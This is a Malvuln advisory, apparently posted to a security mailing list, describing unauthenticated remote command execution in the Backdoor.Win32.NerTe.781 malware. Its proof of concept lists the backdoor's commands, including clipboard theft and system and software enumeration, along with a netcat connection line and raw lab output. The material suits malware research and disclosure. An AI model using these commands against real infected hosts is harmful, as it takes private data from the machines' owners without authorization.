Backdoor.Win32.NerTe.781 / Unauthenticated Remote Command Execution

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/776e8bb41adf8bd95865c0b03637d8d7_B.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NerTe.781
Vulnerability: Unauthenticated Remote Command Execution
Description: Third-party attackers who can reach infected systems can
connect to port 80 and run commands made available by the backdoor to
retrieve information etc.
Type: PE32
MD5: 776e8bb41adf8bd95865c0b03637d8d7
Vuln ID: MVID-2021-0265
Dropped files: nsrv78.exe
Disclosure: 07/03/2021

Exploit/PoC:
Example commands:

GETCLB (Get Clipboard data)
GETSND (Get sounds)
GETIN2 (Get Installed Software)
GETIN3
GETIN4
GETIN6

nc64.exe x.x.x.x  80

VERSIJ7.8.1ñnoñVictimñDESKTOP-2C4IQHO╢GETCLB
GETCLB*************** Clipboard **************ñTomorrow West 18th and
broadway.ñ*************** End **************╢GETSND
GETSNDñññññññññññññññññC:\a\17.wavñC:\a\18.wavñññC:\a\21.wavñC:\a\22.wavññC:\a\23.wavñC:\a\24.wavñññññññC:\a\29.wavñC:\a\30.wavññC:\a\31.wavñC:\a\32.wav╢

MSGUnknown command╢GETIN2
GETIN2DESKTOP-2C4IQHOñVictimñññññ7:56:40 PMñ1 Hour, 11 Minutes, 42
Seconds.ñ1ñ1ñ1ñ2814.17ñUnknown╢
GETIN4NTFSñC:\Program Files
(x86)\NerTeñA2C9-AD2Fñ85405782016ñ12950585344ñ512ñ8ñ20,851,021ñ3,161,764ñFixedñCDñC:
[]ñD: []╢
GETIN6HxD Hex Editor version 1.7.7.0ñNerTeñWinPcap 4.1.3ñWinSCP
5.13ñWireshark 2.4.5 64-bitñMicrosoft Visual C++ 2010  x86 Redistributable
- 10.0.30319ñMicrosoft Visual C++ 2008 Redistributable - x86
9.0.30729.4148ñPython LauncherñJava Auto UpdaterñMicrosoft Visual C++ 2017
C:\Users\Victim\AppData\Local\Programs\Python\Python2\;C:\Users\Victim\AppData\Local\Microsoft\WindowsApps;;C:\Users\Victim\AppData\Local\Programs\Fiddler;C:\Program
Files
(x86)\Fiddler2\Fiddlerñ0PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.


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